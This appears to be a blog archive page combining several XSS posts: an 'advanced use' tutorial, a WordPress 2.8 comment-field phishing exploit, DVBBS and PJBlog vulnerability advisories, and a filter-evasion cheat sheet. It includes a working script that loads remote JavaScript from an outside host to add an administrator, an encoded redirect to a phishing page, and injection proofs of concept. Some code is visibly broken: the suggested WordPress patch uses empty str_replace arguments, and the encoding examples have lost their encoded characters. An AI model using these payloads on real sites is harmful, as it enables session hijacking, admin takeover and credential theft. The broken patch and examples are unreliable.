xss的高级利用

作者:cnryan
来源:http://hi.baidu.com/cnryan

以往对XSS的利用大多数都是针对于挂马,钓鱼,盗cookie等,这些方式并没有真正发挥到XSS的作用,因为很少人能了解XSS的实质,会话劫持,浏览器劫持,XSS能做到的东西远远超乎我们的想象。

一 XSS下提升权限
随着AJAX技术在许多大型SNS网站的应用,XSS也变得愈加流行,在XSS场景下运用AJAX能更有效地发挥它的作用。
用户输入的地方最容易滋生XSS,譬如留言、评论等表单,我搭建了一个sdbook的留言本,因为sdbook没有对用户输入的变量作出合适的过滤,导致一个XSS的产生。
留言率先传递给管理员,当作javascript劫持,我们就可以利用管理员的权限做任何事情,例如添加一个管理员。

xss-advanced-use-of1

在留言内容输入跨站代码:

1
<script>s=document.createElement("script");s.src="http://www.xss.com/xss.js";document.getElementsByTagName("head")[0].appendChild(s);</script>

这段代码用来加载远程的JS,而xss.js的内容是利用xmlHttp对象发送一个异步请求,通过XMLHTTP无刷新提交到服务器端,模拟添加一个管理员。
Read the rest of this entry

From:vul.kr

It had been published that wordpress 2.8 All version are suffering from Xss,attackers can use this to do fishing,they make a wordpress login page as it is your own.If you don’t take care,your password will be sent to the attacker’s website.With your password,they can edit pages and upload webshell.It is harmful.

How is the attacker do this?
they insert website url like this(in the comments write place):

http://www.st0p.org’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

If someone(or administrator) moved his mouse on the author’s website.It will jump to another URL,which is a fishing page.

How can we patch it?Edit wp-comments-post.php go line 40 and then add:

1
2
3
$comment_author_url = str_replace(chr(39),,$comment_author_url);
$comment_author_url = str_replace(chr(59),,$comment_author_url);
$comment_author_url = str_replace(chr(44),,$comment_author_url);

添加时间:
2009-05-25

系统编号:
WAVDB-01432

影响版本:
DVBBS 8.0.0-8.2.0

程序介绍:
动网论坛做为动网主要服务产品之一,自2001年投入推广并运营以来,得到了国内外广大互联网用户的广泛好评和支持。做为国内第一的互联网论坛服务品牌,占据了国内论坛服务市场的70%以上的用户,动网论坛服务在一些如电影、下载、网游等热门网站的占有率甚至高达80%以上,是中国论坛服务领域事实上的标准。

漏洞分析:

文件show.asp中:
filetype=Request("filetype") //第75行
username=Request("username")
......
TempStr = Replace(TempStr,"{$username}",UserName) //第244行
程序对于输出变量filetype和username过滤导致xss漏洞的产生。
漏洞利用:
http://www.target.com/show.asp?filetype=xxx&username=nnn<iframe%20src=http://www.baidu.com></iframe>

解决方案:
厂商补丁
DVBBS
----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.dvbbs.net

信息来源:
<*来源: Bug.Center.Team http://www.cnbct.org
链接: http://wavdb.com/vuln/1437
*>

影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序,采用asp+Access的技术,具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。

漏洞分析:
在文件Getarticle.asp中:

blog_postFile = request("blog_postFile")  //第14行
......
If Ifmore or thispage&lt;&gt;1 then  //第100行
OutPut=OutPut&amp;"
<strong>模式:</strong> <a style="cursor:pointer" onclick="check('Getarticle.asp?id=&quot;&amp;id&amp;&quot;&amp;act=more&amp;blog_postFile=&quot;&amp;blog_postFile&amp;&quot;','wbc_tag','wbc_tag')">全部显示[共"&amp;total_rela&amp;"个相关文章]</a>
 
"

程序没有对输出变量blog_postFile做过滤导致xss漏洞的产生。 Read the rest of this entry

插入XSS代码的具体方法

1.脚本插入
(1)插入javascript和vbscript正常字符。例1:<img src="javascript:alert(/xss/)">
例2:<table background="javascript:alert(/xss/)"></table>'/在表格中插入脚本
例3:<img src="vbscript:msgbox("a")">

(2)转换字符类型。将javascript或vbscript中的任一个或全部字符转换为十进制或十六进制字符

例1:<img src="javascript:alert(/xss/)"> '/将j字符转为十进制字符j 。

例2:<img src="javascript:alert(/xss/)"> '/将j字符转为十六进制字符j 。
(3)插入混淆字符。在系统控制字符中,除了头部的�(null)和尾部的(del)外,其他31个字符均可作为混淆字符,比如、等字符都可插入到javascript或vbscript的头部,其中Tab符 、换行符、回车符还可以插入到代码中任意地方。
例1:<img src="javascript:alert(/a/)"> '/插入到代码头部,其中可写成,效果一样
例2:<img src="java scr ipt:alert(/a/)"> '/插入到代码中任意位置,其中 可写成 Read the rest of this entry